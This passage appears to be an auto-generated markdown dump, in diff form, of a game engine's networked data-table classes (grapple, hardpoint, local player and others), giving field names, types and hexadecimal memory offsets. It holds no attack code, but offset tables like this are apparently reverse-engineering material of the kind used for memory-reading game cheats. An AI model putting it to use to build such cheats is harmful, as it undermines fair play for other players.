+DT_FuncBrushLightweight!0x0840 m_parentAttachmentModel +``` +
+
+class DT_GlobalNonRewinding + +``` +{ + m_playerObserver: DataTable, + m_playerMiscData: DataTable, +} +``` + +### Offsets + +``` +DT_GlobalNonRewinding!0x0a40 m_playerObserver +DT_GlobalNonRewinding!0x0e40 m_playerMiscData +``` +
+
+class DT_GrappleData + +``` +{ + m_grapplePoints: Array, + m_grappleVel: Vector, + m_grapplePoints[0]: Vector, + m_grapplePointCount: Int, + m_grappleAttached: Int, + m_grapplePulling: Int, + m_grappleSwinging: Int, + m_grappleRetracting: Int, + m_grappleForcedRetracting: Int, + m_grappleGracePeriodFinished: Int, + m_grappleUsedPower: Float, + m_grappleActivateTime: Time, + m_grapplePullTime: Time, + m_grappleAttachTime: Time, + m_grappleDetachTime: Time, + m_grappleMeleeTarget: Int, + m_grappleAutoAimTarget: Int, + m_grappleHasGoodVelocity: Int, + m_grappleLastGoodVelocityTime: Time, + m_grappleSwingDetachLowSpeed: Float, + m_grappleSwingHoldTime: Time, +} +``` + +### Offsets + +``` +DT_GrappleData!0x0000 m_grapplePoints +DT_GrappleData!0x0008 m_grappleVel +DT_GrappleData!0x0014 m_grapplePoints[0] +DT_GrappleData!0x0044 m_grapplePointCount +DT_GrappleData!0x0048 m_grappleAttached +DT_GrappleData!0x0049 m_grapplePulling +DT_GrappleData!0x004a m_grappleSwinging +DT_GrappleData!0x004b m_grappleRetracting +DT_GrappleData!0x004c m_grappleForcedRetracting +DT_GrappleData!0x004d m_grappleGracePeriodFinished +DT_GrappleData!0x0050 m_grappleUsedPower +DT_GrappleData!0x0054 m_grappleActivateTime +DT_GrappleData!0x0058 m_grapplePullTime +DT_GrappleData!0x005c m_grappleAttachTime +DT_GrappleData!0x0060 m_grappleDetachTime +DT_GrappleData!0x0064 m_grappleMeleeTarget +DT_GrappleData!0x0068 m_grappleAutoAimTarget +DT_GrappleData!0x006c m_grappleHasGoodVelocity +DT_GrappleData!0x0070 m_grappleLastGoodVelocityTime +DT_GrappleData!0x0074 m_grappleSwingDetachLowSpeed +DT_GrappleData!0x0078 m_grappleSwingHoldTime +``` +
+
+class DT_GrappleHook + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_visibilityFlags: Int, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_parentAttachmentHitbox: Int, + m_realmsBitMask: BitMask, + m_grappleZipline: Int, +} +``` + +### Offsets + +``` +DT_GrappleHook!0x001c moveparent +DT_GrappleHook!0x0020 m_parentAttachmentType +DT_GrappleHook!0x0024 m_parentAttachmentIndex +DT_GrappleHook!0x004c m_cellX +DT_GrappleHook!0x0050 m_cellY +DT_GrappleHook!0x0054 m_cellZ +DT_GrappleHook!0x0058 m_localOrigin +DT_GrappleHook!0x0064 m_nModelIndex +DT_GrappleHook!0x0428 m_visibilityFlags +DT_GrappleHook!0x0470 m_localAngles +DT_GrappleHook!0x0484 m_hOwnerEntity +DT_GrappleHook!0x083c m_parentAttachmentHitbox +DT_GrappleHook!0x0a28 m_realmsBitMask +DT_GrappleHook!0x1600 m_grappleZipline +``` +
+
+class DT_HardPointEntity + +``` +{ + m_localOrigin: Vector, + m_iTeamNum: Int, + m_minimapData: DT_MinimapBaseEntityData, + m_state: Int, + m_estimatedCaptureTime: Float, + m_progressRefPoint: Float, + m_teamMilitiaAICount: Int, + m_teamIMCAICount: Int, + m_teamMilitiaPlayerCount: Int, + m_teamIMCPlayerCount: Int, + m_teamMilitiaPlayerTitanCount: Int, + m_teamIMCPlayerTitanCount: Int, + m_hardpointID: Int, + m_terminal: Int, +} +``` + +### Offsets + +``` +DT_HardPointEntity!0x0004 m_localOrigin +DT_HardPointEntity!0x0430 m_iTeamNum +DT_HardPointEntity!0x0948 m_minimapData +DT_HardPointEntity!0x0a44 m_state +DT_HardPointEntity!0x0a48 m_estimatedCaptureTime +DT_HardPointEntity!0x0a4c m_progressRefPoint +DT_HardPointEntity!0x0a50 m_teamMilitiaAICount +DT_HardPointEntity!0x0a54 m_teamIMCAICount +DT_HardPointEntity!0x0a58 m_teamMilitiaPlayerCount +DT_HardPointEntity!0x0a5c m_teamIMCPlayerCount +DT_HardPointEntity!0x0a60 m_teamMilitiaPlayerTitanCount +DT_HardPointEntity!0x0a64 m_teamIMCPlayerTitanCount +DT_HardPointEntity!0x0a68 m_hardpointID +DT_HardPointEntity!0x0a70 m_terminal +``` +
+
+class DT_HighlightSettings + +``` +{ + m_highlightParams: DataTable, + m_highlightFunctionBits: DataTable, + m_highlightServerFadeBases: DataTable, + m_highlightServerFadeStartTimes: DataTable, + m_highlightServerFadeEndTimes: DataTable, + m_highlightServerContextID: Int, + m_highlightTeamBits: Int, +} +``` + +### Offsets + +``` +DT_HighlightSettings!0x01b8 m_highlightParams +DT_HighlightSettings!0x02a8 m_highlightFunctionBits +DT_HighlightSettings!0x02f8 m_highlightServerFadeBases +DT_HighlightSettings!0x0300 m_highlightServerFadeStartTimes +DT_HighlightSettings!0x0308 m_highlightServerFadeEndTimes +DT_HighlightSettings!0x0348 m_highlightServerContextID +DT_HighlightSettings!0x0354 m_highlightTeamBits +``` +
+
+class DT_ImportantOnEntSound extends DT_BaseEntity + +``` +{ + m_networkTableSoundID: Int, + m_hAttachedToEntity: Int, + m_beginTime: Time, + m_hSuppressedClient: Int, + m_milesSignal: Int, +} +``` + +### Offsets + +``` +DT_ImportantOnEntSound!0x0a40 m_networkTableSoundID +DT_ImportantOnEntSound!0x0a44 m_hAttachedToEntity +DT_ImportantOnEntSound!0x0a48 m_beginTime +DT_ImportantOnEntSound!0x0a4c m_hSuppressedClient +DT_ImportantOnEntSound!0x0a50 m_milesSignal +``` +
+
+class DT_InfoPlacementHelper + +``` +{ + m_localOrigin: Vector, + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_localAngles: Vector, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, +} +``` + +### Offsets + +``` +DT_InfoPlacementHelper!0x0004 m_localOrigin +DT_InfoPlacementHelper!0x001c moveparent +DT_InfoPlacementHelper!0x0020 m_parentAttachmentType +DT_InfoPlacementHelper!0x0024 m_parentAttachmentIndex +DT_InfoPlacementHelper!0x0470 m_localAngles +DT_InfoPlacementHelper!0x083c m_parentAttachmentHitbox +DT_InfoPlacementHelper!0x0840 m_parentAttachmentModel +``` +
+
+class DT_InfoTarget + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_bIsSoundCodeControllerValueSet: Int, + m_flSoundCodeControllerValue: Float, + m_iTeamNum: Int, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_iSignifierName: String, + m_iName: String, + m_scriptNameIndex: Int, + m_instanceNameIndex: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_firstChildEntityLink: Int, + m_firstParentEntityLink: Int, +} +``` + +### Offsets + +``` +DT_InfoTarget!0x001c moveparent +DT_InfoTarget!0x0020 m_parentAttachmentType +DT_InfoTarget!0x0024 m_parentAttachmentIndex +DT_InfoTarget!0x004c m_cellX +DT_InfoTarget!0x0050 m_cellY +DT_InfoTarget!0x0054 m_cellZ +DT_InfoTarget!0x0058 m_localOrigin +DT_InfoTarget!0x03cc m_bIsSoundCodeControllerValueSet +DT_InfoTarget!0x03d0 m_flSoundCodeControllerValue +DT_InfoTarget!0x0430 m_iTeamNum +DT_InfoTarget!0x0470 m_localAngles +DT_InfoTarget!0x0484 m_hOwnerEntity +DT_InfoTarget!0x0560 m_iSignifierName +DT_InfoTarget!0x0569 m_iName +DT_InfoTarget!0x0670 m_scriptNameIndex +DT_InfoTarget!0x0674 m_instanceNameIndex +DT_InfoTarget!0x083c m_parentAttachmentHitbox +DT_InfoTarget!0x0840 m_parentAttachmentModel +DT_InfoTarget!0x0a20 m_firstChildEntityLink +DT_InfoTarget!0x0a24 m_firstParentEntityLink +``` +
+
+class DT_Local + +``` +{ + m_airMoveBlockPlanes: Array, + m_iHideHUD: Int, + m_superJumpsUsed: Int, + m_jumpedOffRodeo: Int, + m_jumpPressTime: Time, + m_jetpackActivateTime: Time, + m_jetpackDeactivateTime: Time, + m_flSuitPower: Float, + m_flSuitJumpPower: Float, + m_flSuitGrapplePower: Float, + m_flFallVelocity: Float, + m_flStepSize: Float, + m_airSlowMoFrac: Float, + predictableFlags: Int, + m_bitsActiveDevices: Int, + m_forceStance: Int, + m_duckToggleOn: Int, + m_bDrawViewmodel: Int, + m_bAllowAutoMovement: Int, + m_accelScale: Float, + m_powerRegenRateScale: Float, + m_dodgePowerDelayScale: Float, + m_hSkyCamera: Int, + m_skybox3d.scale: Int, + m_skybox3d.useWorldFog: Int, + m_skybox3d.fog.botAlt: Float, + m_skybox3d.fog.topAlt: Float, + m_skybox3d.fog.halfDistBot: Float, + m_skybox3d.fog.halfDistTop: Float, + m_skybox3d.fog.distColorStr: Float, + m_skybox3d.fog.dirColorStr: Float, + m_skybox3d.fog.distOffset: Float, + m_skybox3d.fog.densityScale: Float, + m_skybox3d.fog.halfAngleDeg: Float, + m_skybox3d.fog.HDRColorScale: Float, + m_skybox3d.fog.distColor: Int, + m_skybox3d.fog.dirColor: Int, + m_skybox3d.fog.direction: Vector, + m_skybox3d.fog.enable: Int, + m_audio.localSound[0]: Vector, + m_audio.localSound[1]: Vector, + m_audio.localSound[2]: Vector, + m_audio.localSound[3]: Vector, + m_audio.localSound[4]: Vector, + m_audio.localSound[5]: Vector, + m_audio.localSound[6]: Vector, + m_audio.localSound[7]: Vector, + m_audio.soundscapeIndex: Int, + m_audio.localBits: Int, + m_audio.entIndex: Int, + m_animNearZ: Float, + lastAttacker: Int, + attackedCount: Int, + m_airMoveBlockPlanes[0]: Vector, + m_airMoveBlockPlaneTime: Time, + m_airMoveBlockPlaneCount: Int, + m_queuedMeleePressTime: Time, + m_queuedGrappleMeleeTime: Time, + m_disableMeleeUntilRelease: Int, + m_meleePressTime: Time, + m_meleeDisabledCounter: Int, + m_meleeInputIndex: Int, + m_trackedChildProjectileCount: Int, + m_oneHandedWeaponUsage: Int, + m_flCockpitEntryTime: Time, + m_ejectStartTime: Time, + m_disembarkStartTime: Time, + m_hotDropImpactTime: Time, + m_outOfBoundsDeadTime: Time, + m_objectiveIndex: Int, + m_objectiveEntity: Int, + m_objectiveEndTime: Time, + m_cinematicEventFlags: Int, + m_forcedDialogueOnly: Int, + m_titanBuildTime: Time, + m_titanBubbleShieldTime: Time, + m_titanEmbarkEnabled: Int, + m_titanDisembarkEnabled: Int, + m_voicePackIndex: Int, + m_playerAnimStationaryGoalFeetYaw: Float, + m_playerAnimJumping: Int, + m_playerAnimJumpStartTime: Time, + m_playerAnimFirstJumpFrame: Int, + m_playerAnimDodging: Int, + m_playerAnimJumpActivity: Int, + m_playerAnimLanding: Int, + m_playerAnimShouldLand: Int, + m_playerAnimLandStartTime: Time, + m_playerAnimInAirWalk: Int, + m_playerAnimPrevFrameSequenceMotionYaw: Float, + m_playerAnimMeleeParity: Int, + m_playerAnimMeleeStartTime: Time, + m_playerLocalGravityBlendStartRotation: Rotation, + m_playerLocalGravityBlendEndRotation: Rotation, + m_playerLocalGravityBlendEndDirection: Vector, + m_playerLocalGravityBlendStartTime: Time, + m_playerLocalGravityBlendEndTime: Time, + m_playerLocalGravityBlendStrength: Float, + m_playerLocalGravityStrength: Float, + m_playerLocalGravityType: Int, + m_playerLocalGravityPoint: Vector, + m_playerLocalGravityLineStart: Vector, + m_playerLocalGravityLineEnd: Vector, + m_playerLocalGravityEntity: Int, + m_playerLocalGravityLineStartEntity: Int, + m_playerLocalGravityLineEndEntity: Int, + m_playerFloatLookStartTime: Time, + m_playerFloatLookEndTime: Time, + m_wallrunLatestFloorHeight: Float, + m_wallrunFromJetpack: Int, + m_groundNormal: Vector, + m_continuousUseBlocked: Int, + m_useEnt: Int, +} +``` + +### Offsets + +``` +DT_Local!0x0000 m_airMoveBlockPlanes +DT_Local!0x0014 m_iHideHUD +DT_Local!0x0018 m_superJumpsUsed +DT_Local!0x001c m_jumpedOffRodeo +DT_Local!0x0020 m_jumpPressTime +DT_Local!0x0024 m_jetpackActivateTime +DT_Local!0x0028 m_jetpackDeactivateTime +DT_Local!0x002c m_flSuitPower +DT_Local!0x0030 m_flSuitJumpPower +DT_Local!0x0034 m_flSuitGrapplePower +DT_Local!0x0038 m_flFallVelocity +DT_Local!0x003c m_flStepSize +DT_Local!0x0040 m_airSlowMoFrac +DT_Local!0x0044 predictableFlags +DT_Local!0x0048 m_bitsActiveDevices +DT_Local!0x004c m_forceStance +DT_Local!0x0050 m_duckToggleOn +DT_Local!0x0051 m_bDrawViewmodel +DT_Local!0x0052 m_bAllowAutoMovement +DT_Local!0x0054 m_accelScale +DT_Local!0x0058 m_powerRegenRateScale +DT_Local!0x005c m_dodgePowerDelayScale +DT_Local!0x0074 m_hSkyCamera +DT_Local!0x0078 m_skybox3d.scale +DT_Local!0x007c m_skybox3d.useWorldFog +DT_Local!0x0080 m_skybox3d.fog.botAlt +DT_Local!0x0084 m_skybox3d.fog.topAlt +DT_Local!0x0088 m_skybox3d.fog.halfDistBot +DT_Local!0x008c m_skybox3d.fog.halfDistTop +DT_Local!0x0090 m_skybox3d.fog.distColorStr +DT_Local!0x0094 m_skybox3d.fog.dirColorStr +DT_Local!0x0098 m_skybox3d.fog.distOffset +DT_Local!0x009c m_skybox3d.fog.densityScale +DT_Local!0x00a0 m_skybox3d.fog.halfAngleDeg +DT_Local!0x00a4 m_skybox3d.fog.HDRColorScale +DT_Local!0x00a8 m_skybox3d.fog.distColor +DT_Local!0x00ac m_skybox3d.fog.dirColor +DT_Local!0x00b0 m_skybox3d.fog.direction +DT_Local!0x00c1 m_skybox3d.fog.enable +DT_Local!0x00c8 m_audio.localSound[0] +DT_Local!0x00d4 m_audio.localSound[1] +DT_Local!0x00e0 m_audio.localSound[2] +DT_Local!0x00ec m_audio.localSound[3] +DT_Local!0x00f8 m_audio.localSound[4] +DT_Local!0x0104 m_audio.localSound[5] +DT_Local!0x0110 m_audio.localSound[6] +DT_Local!0x011c m_audio.localSound[7] +DT_Local!0x0128 m_audio.soundscapeIndex +DT_Local!0x012c m_audio.localBits +DT_Local!0x0130 m_audio.entIndex +DT_Local!0x014c m_animNearZ +DT_Local!0x0150 lastAttacker +DT_Local!0x0154 attackedCount +DT_Local!0x0180 m_airMoveBlockPlanes[0] +DT_Local!0x0198 m_airMoveBlockPlaneTime +DT_Local!0x019c m_airMoveBlockPlaneCount +DT_Local!0x01a0 m_queuedMeleePressTime +DT_Local!0x01a4 m_queuedGrappleMeleeTime +DT_Local!0x01a9 m_disableMeleeUntilRelease +DT_Local!0x01ac m_meleePressTime +DT_Local!0x01b0 m_meleeDisabledCounter +DT_Local!0x01b4 m_meleeInputIndex +DT_Local!0x01b8 m_trackedChildProjectileCount +DT_Local!0x01bc m_oneHandedWeaponUsage +DT_Local!0x01c0 m_flCockpitEntryTime +DT_Local!0x01c4 m_ejectStartTime +DT_Local!0x01c8 m_disembarkStartTime +DT_Local!0x01cc m_hotDropImpactTime +DT_Local!0x01d0 m_outOfBoundsDeadTime +DT_Local!0x01d4 m_objectiveIndex +DT_Local!0x01d8 m_objectiveEntity +DT_Local!0x01dc m_objectiveEndTime +DT_Local!0x01e0 m_cinematicEventFlags +DT_Local!0x01e4 m_forcedDialogueOnly +DT_Local!0x01e8 m_titanBuildTime +DT_Local!0x01ec m_titanBubbleShieldTime +DT_Local!0x01f0 m_titanEmbarkEnabled +DT_Local!0x01f1 m_titanDisembarkEnabled +DT_Local!0x01f4 m_voicePackIndex +DT_Local!0x01f8 m_playerAnimStationaryGoalFeetYaw +DT_Local!0x01fc m_playerAnimJumping +DT_Local!0x0200 m_playerAnimJumpStartTime +DT_Local!0x0204 m_playerAnimFirstJumpFrame +DT_Local!0x0205 m_playerAnimDodging +DT_Local!0x0208 m_playerAnimJumpActivity +DT_Local!0x020c m_playerAnimLanding +DT_Local!0x020d m_playerAnimShouldLand +DT_Local!0x0210 m_playerAnimLandStartTime +DT_Local!0x0214 m_playerAnimInAirWalk +DT_Local!0x0218 m_playerAnimPrevFrameSequenceMotionYaw +DT_Local!0x021c m_playerAnimMeleeParity +DT_Local!0x0220 m_playerAnimMeleeStartTime +DT_Local!0x0254 m_playerLocalGravityBlendStartRotation +DT_Local!0x0264 m_playerLocalGravityBlendEndRotation +DT_Local!0x0274 m_playerLocalGravityBlendEndDirection +DT_Local!0x0280 m_playerLocalGravityBlendStartTime +DT_Local!0x0284 m_playerLocalGravityBlendEndTime +DT_Local!0x0288 m_playerLocalGravityBlendStrength +DT_Local!0x028c m_playerLocalGravityStrength +DT_Local!0x0290 m_playerLocalGravityType +DT_Local!0x0294 m_playerLocalGravityPoint +DT_Local!0x02a0 m_playerLocalGravityLineStart +DT_Local!0x02ac m_playerLocalGravityLineEnd +DT_Local!0x02b8 m_playerLocalGravityEntity +DT_Local!0x02bc m_playerLocalGravityLineStartEntity +DT_Local!0x02c0 m_playerLocalGravityLineEndEntity +DT_Local!0x02c4 m_playerFloatLookStartTime +DT_Local!0x02c8 m_playerFloatLookEndTime +DT_Local!0x02cc m_wallrunLatestFloorHeight +DT_Local!0x02d0 m_wallrunFromJetpack +DT_Local!0x02d4 m_groundNormal +DT_Local!0x02e0 m_continuousUseBlocked +DT_Local!0x02e4 m_useEnt +``` +
+
+class DT_LocalPlayerExclusive + +``` +{ + NearbyPushers: DT_NearbyPushers, + m_localOrigin: VectorXY, + m_localOrigin.z: Float, + m_vecAbsVelocity: Vector, + m_vecBaseVelocity: Vector, + m_vecVelocity.x: Float, + m_vecVelocity.y: Float, + m_vecVelocity.z: Float, + m_flFriction: Float, + m_tethers: DataTable, + m_lastUCmdSimulationTicks: Cycle, + m_lastUCmdSimulationRemainderTime: Float, + m_Local: DT_Local, + m_currentFrameLocalPlayer: DT_CurrentData_LocalPlayer, + m_modInventory: DataTable, + m_consumableInventory: DataTable, + m_fStickySprintMinTime: Float, + m_sprintStartedTime: Time, + m_sprintStartedFrac: Float, + m_sprintEndedTime: Time, + m_sprintEndedFrac: Float, + m_stickySprintStartTime: Time, + m_upDirPredicted: Vector, + m_lastWallRunStartPos: Vector, + m_wallrunFrictionScale: Float, + m_groundFrictionScale: Float, + m_traversalBegin: Vector, + m_traversalMid: Vector, + m_traversalEnd: Vector, + m_traversalMidFrac: Float, + m_traversalForwardDir: Vector, + m_traversalProgress: Float, + m_traversalStartTime: Time, + m_traversalHandAppearTime: Time, + m_traversalReleaseTime: Time, + m_traversalBlendOutStartTime: Time, + m_traversalBlendOutStartOffset: Vector, + m_wallDangleJumpOffTime: Time, + m_wallDangleMayHangHere: Int, + m_wallDangleForceFallOff: Int, + m_wallDangleLastPushedForward: Int, + m_wallDangleDisableWeapon: Int, + m_gravityLiftActive: Int, + m_gravityLiftEnterTime: Float, + m_blackholeActive: Int, + m_slowMoEnabled: Int, + m_sliding: Int, + m_slideLongJumpAllowed: Int, + m_bIsStickySprinting: Int, + m_prevMoveYaw: Float, + m_sprintTiltVel: Float, + m_sprintTiltPoseParameter: Int, + m_sprintFracPoseParameter: Int, + m_ziplineAllowed: Int, + m_lastZipline: Int, + m_lastZiplineDetachTime: Time, + m_zipline: DT_PlayerZipline, + m_ziplineViewOffsetPosition: Vector, + m_ziplineViewOffsetVelocity: Vector, + m_ziplineGrenadeEntity: Int, + m_sameZiplineCooldownTime: Float, + m_highSpeedViewmodelAnims: Int, + m_playAnimationType: Int, + m_detachGrappleOnPlayAnimationEnd: Int, + m_playAnimationNext: DataTable, + m_playAnimationEntityBlocker: Int, + m_playAnimationEntityBlockerDucking: Int, + m_boosting: Int, + m_activateBoost: Int, + m_repeatedBoost: Int, + m_boostMeter: Float, + m_jetpack: Int, + m_activateJetpack: Int, + m_jetpackAfterburner: Int, + m_gliding: Int, + m_glideMeter: Float, + m_glideRechargeDelayAccumulator: Float, + m_hovering: Int, + m_lastJumpHeight: Float, + m_touchingUpdraftTriggers: DataTable, + m_touchingUpdraftTriggersCount: Int, + m_touchingSlipTriggers: DataTable, + m_touchingSlipTriggersCount: Int, + m_slipAirRestrictDirection: Vector, + m_slipAirRestrictTime: Time, + m_replayImportantSounds_networkTableSoundID: DataTable, + m_replayImportantSounds_beginTime: DataTable, + m_viewConeActive: Int, + m_viewConeParented: Int, + m_viewConeParity: Int, + m_hConstraintEntity: Int, + m_vecConstraintCenter: Vector, + m_flConstraintRadius: Float, + m_flConstraintWidth: Float, + m_flConstraintSpeedFactor: Float, + m_bConstraintPastRadius: Int, + m_observerModeStaticPosition: Vector, + m_observerModeStaticAngles: Vector, + m_observerModeStaticFOVOverride: Float, + m_lastKillTime: Time, + m_wallRunStartTime: Time, + m_wallRunClearTime: Time, + m_dodging: Int, + m_dodgingInAir: Int, + m_airSpeed: Float, + m_airAcceleration: Float, + m_firstPersonProxy: Int, + m_predictedFirstPersonProxy: Int, + m_hardpointEntity: Int, + m_petTitanMode: Int, + m_hThirdPersonEnt: Int, + m_thirdPersonShoulderView: Int, + m_thirdPerson: DT_ThirdPersonView, + m_playerLookTargetEntity: Int, + m_playerLookTargetOffset: Vector, + m_viewConeLerpTime: Float, + m_flLaggedMovementValue: Float, + m_lastMoveInputTime: Time, + m_ignoreEntityForMovementUntilNotTouching: Int, + m_lungeTargetEntity: Int, + m_isLungingToPosition: Int, + m_lungeTargetPosition: Vector, + m_lungeStartPositionOffset: Vector, + m_lungeEndPositionOffset: Vector, + m_lungeStartTime: Time, + m_lungeEndTime: Time, + m_lungeCanFly: Int, + m_lungeLockPitch: Int, + m_lungeStartPitch: Float, + m_lungeSmoothTime: Float, + m_lungeMaxTime: Float, + m_lungeMaxEndSpeed: Float, + m_nearbyPusherCount: Int, + m_pushAwayFromTopAcceleration: Vector, + m_minimapTargetZoomScale: Float, + m_minimapTargetLerpTime: Time, + m_playerScriptNetDataExclusive: Int, + m_pingOffset: Float, + m_skydiveForwardPoseValueVelocity: Float, + m_skydiveForwardPoseValueCurrent: Float, + m_skydiveSidePoseValueVelocity: Float, + m_skydiveSidePoseValueCurrent: Float, + m_skydiveYawVelocity: Float, + m_skydiveIsNearLeviathan: Int, + m_skydiveStartTime: Time, + m_skydiveEndTime: Time, + m_skydiveAnticipateStartTime: Time, + m_skydiveAnticipateEndTime: Time, + m_skydiveDistanceToLand: Float, + m_skydiveFreelookEnabled: Int, + m_skydiveFreelookLockedAngle: Vector, + m_skydiveFollowing: Int, + m_skydiveUnfollowVelocity: Vector, + m_skydiveLeviathanHitPosition: Vector, + m_skydiveLeviathanHitNormal: Vector, + m_skydiveSlipVelocity: Vector, + m_skydiveFromUpdraft: Int, + m_twitchRewardBits: BitMask, + m_playerKnockBacks: DataTable, + m_updraftCount: Int, + m_updraftStage: Int, + m_updraftEnterTime: Time, + m_updraftLeaveTime: Time, + m_updraftMinShakeActivationHeight: Float, + m_updraftMaxShakeActivationHeight: Float, + m_updraftLiftActivationHeight: Float, + m_updraftLiftSpeed: Float, + m_updraftLiftAcceleration: Float, + m_updraftLiftExitDuration: Float, + m_updraftSlowTime: Time, + m_armsModelIndex: Int, + m_deathFieldIndex: Int, +} +``` + +### Offsets + +``` +DT_LocalPlayerExclusive!0x0000 NearbyPushers +DT_LocalPlayerExclusive!0x0004 m_localOrigin +DT_LocalPlayerExclusive!0x000c m_localOrigin.z +DT_LocalPlayerExclusive!0x0140 m_vecAbsVelocity +DT_LocalPlayerExclusive!0x0410 m_vecBaseVelocity +DT_LocalPlayerExclusive!0x0464 m_vecVelocity.x +DT_LocalPlayerExclusive!0x0468 m_vecVelocity.y +DT_LocalPlayerExclusive!0x046c m_vecVelocity.z +DT_LocalPlayerExclusive!0x047c m_flFriction +DT_LocalPlayerExclusive!0x1b3c m_tethers +DT_LocalPlayerExclusive!0x1c14 m_lastUCmdSimulationTicks +DT_LocalPlayerExclusive!0x1c18 m_lastUCmdSimulationRemainderTime +DT_LocalPlayerExclusive!0x1d38 m_Local +DT_LocalPlayerExclusive!0x21f0 m_currentFrameLocalPlayer +DT_LocalPlayerExclusive!0x2544 m_modInventory +DT_LocalPlayerExclusive!0x25c4 m_consumableInventory +DT_LocalPlayerExclusive!0x28d8 m_fStickySprintMinTime +DT_LocalPlayerExclusive!0x28f4 m_sprintStartedTime +DT_LocalPlayerExclusive!0x28f8 m_sprintStartedFrac +DT_LocalPlayerExclusive!0x28fc m_sprintEndedTime +DT_LocalPlayerExclusive!0x2900 m_sprintEndedFrac +DT_LocalPlayerExclusive!0x2904 m_stickySprintStartTime +DT_LocalPlayerExclusive!0x2974 m_upDirPredicted +DT_LocalPlayerExclusive!0x2980 m_lastWallRunStartPos +DT_LocalPlayerExclusive!0x29a4 m_wallrunFrictionScale +DT_LocalPlayerExclusive!0x29a8 m_groundFrictionScale +DT_LocalPlayerExclusive!0x29ec m_traversalBegin +DT_LocalPlayerExclusive!0x29f8 m_traversalMid +DT_LocalPlayerExclusive!0x2a04 m_traversalEnd +DT_LocalPlayerExclusive!0x2a10 m_traversalMidFrac +DT_LocalPlayerExclusive!0x2a14 m_traversalForwardDir +DT_LocalPlayerExclusive!0x2a2c m_traversalProgress +DT_LocalPlayerExclusive!0x2a30 m_traversalStartTime +DT_LocalPlayerExclusive!0x2a34 m_traversalHandAppearTime +DT_LocalPlayerExclusive!0x2a38 m_traversalReleaseTime +DT_LocalPlayerExclusive!0x2a3c m_traversalBlendOutStartTime +DT_LocalPlayerExclusive!0x2a40 m_traversalBlendOutStartOffset +DT_LocalPlayerExclusive!0x2a58 m_wallDangleJumpOffTime +DT_LocalPlayerExclusive!0x2a5c m_wallDangleMayHangHere +DT_LocalPlayerExclusive!0x2a5d m_wallDangleForceFallOff +DT_LocalPlayerExclusive!0x2a5e m_wallDangleLastPushedForward +DT_LocalPlayerExclusive!0x2a60 m_wallDangleDisableWeapon +DT_LocalPlayerExclusive!0x2a6a m_gravityLiftActive +DT_LocalPlayerExclusive!0x2a6c m_gravityLiftEnterTime +DT_LocalPlayerExclusive!0x2a88 m_blackholeActive +DT_LocalPlayerExclusive!0x2b34 m_slowMoEnabled +DT_LocalPlayerExclusive!0x2b35 m_sliding +DT_LocalPlayerExclusive!0x2b36 m_slideLongJumpAllowed +DT_LocalPlayerExclusive!0x2b44 m_bIsStickySprinting +DT_LocalPlayerExclusive!0x2b48 m_prevMoveYaw +DT_LocalPlayerExclusive!0x2b4c m_sprintTiltVel +DT_LocalPlayerExclusive!0x2b50 m_sprintTiltPoseParameter +DT_LocalPlayerExclusive!0x2b54 m_sprintFracPoseParameter +DT_LocalPlayerExclusive!0x2cbc m_ziplineAllowed +DT_LocalPlayerExclusive!0x2cc4 m_lastZipline +DT_LocalPlayerExclusive!0x2cc8 m_lastZiplineDetachTime +DT_LocalPlayerExclusive!0x2cd8 m_zipline +DT_LocalPlayerExclusive!0x2d48 m_ziplineViewOffsetPosition +DT_LocalPlayerExclusive!0x2d54 m_ziplineViewOffsetVelocity +DT_LocalPlayerExclusive!0x2d60 m_ziplineGrenadeEntity +DT_LocalPlayerExclusive!0x2d70 m_sameZiplineCooldownTime +DT_LocalPlayerExclusive!0x2d74 m_highSpeedViewmodelAnims +DT_LocalPlayerExclusive!0x2d78 m_playAnimationType +DT_LocalPlayerExclusive!0x2d7c m_detachGrappleOnPlayAnimationEnd +DT_LocalPlayerExclusive!0x2d80 m_playAnimationNext +DT_LocalPlayerExclusive!0x2d88 m_playAnimationEntityBlocker +DT_LocalPlayerExclusive!0x2d8c m_playAnimationEntityBlockerDucking +DT_LocalPlayerExclusive!0x2d94 m_boosting +DT_LocalPlayerExclusive!0x2d95 m_activateBoost +DT_LocalPlayerExclusive!0x2d96 m_repeatedBoost +DT_LocalPlayerExclusive!0x2d98 m_boostMeter +DT_LocalPlayerExclusive!0x2d9c m_jetpack +DT_LocalPlayerExclusive!0x2d9d m_activateJetpack +DT_LocalPlayerExclusive!0x2d9e m_jetpackAfterburner +DT_LocalPlayerExclusive!0x2d9f m_gliding +DT_LocalPlayerExclusive!0x2da0 m_glideMeter +DT_LocalPlayerExclusive!0x2da4 m_glideRechargeDelayAccumulator +DT_LocalPlayerExclusive!0x2da8 m_hovering +DT_LocalPlayerExclusive!0x2dac m_lastJumpHeight +DT_LocalPlayerExclusive!0x2db0 m_touchingUpdraftTriggers +DT_LocalPlayerExclusive!0x2df0 m_touchingUpdraftTriggersCount +DT_LocalPlayerExclusive!0x2df4 m_touchingSlipTriggers +DT_LocalPlayerExclusive!0x2e34 m_touchingSlipTriggersCount +DT_LocalPlayerExclusive!0x2e38 m_slipAirRestrictDirection +DT_LocalPlayerExclusive!0x2e44 m_slipAirRestrictTime +DT_LocalPlayerExclusive!0x2f80 m_replayImportantSounds_networkTableSoundID +DT_LocalPlayerExclusive!0x2f90 m_replayImportantSounds_beginTime +DT_LocalPlayerExclusive!0x2fcd m_viewConeActive +DT_LocalPlayerExclusive!0x2fce m_viewConeParented +DT_LocalPlayerExclusive!0x2fd0 m_viewConeParity +DT_LocalPlayerExclusive!0x326c m_hConstraintEntity +DT_LocalPlayerExclusive!0x3270 m_vecConstraintCenter +DT_LocalPlayerExclusive!0x327c m_flConstraintRadius +DT_LocalPlayerExclusive!0x3280 m_flConstraintWidth +DT_LocalPlayerExclusive!0x3284 m_flConstraintSpeedFactor +DT_LocalPlayerExclusive!0x3288 m_bConstraintPastRadius +DT_LocalPlayerExclusive!0x32e8 m_observerModeStaticPosition 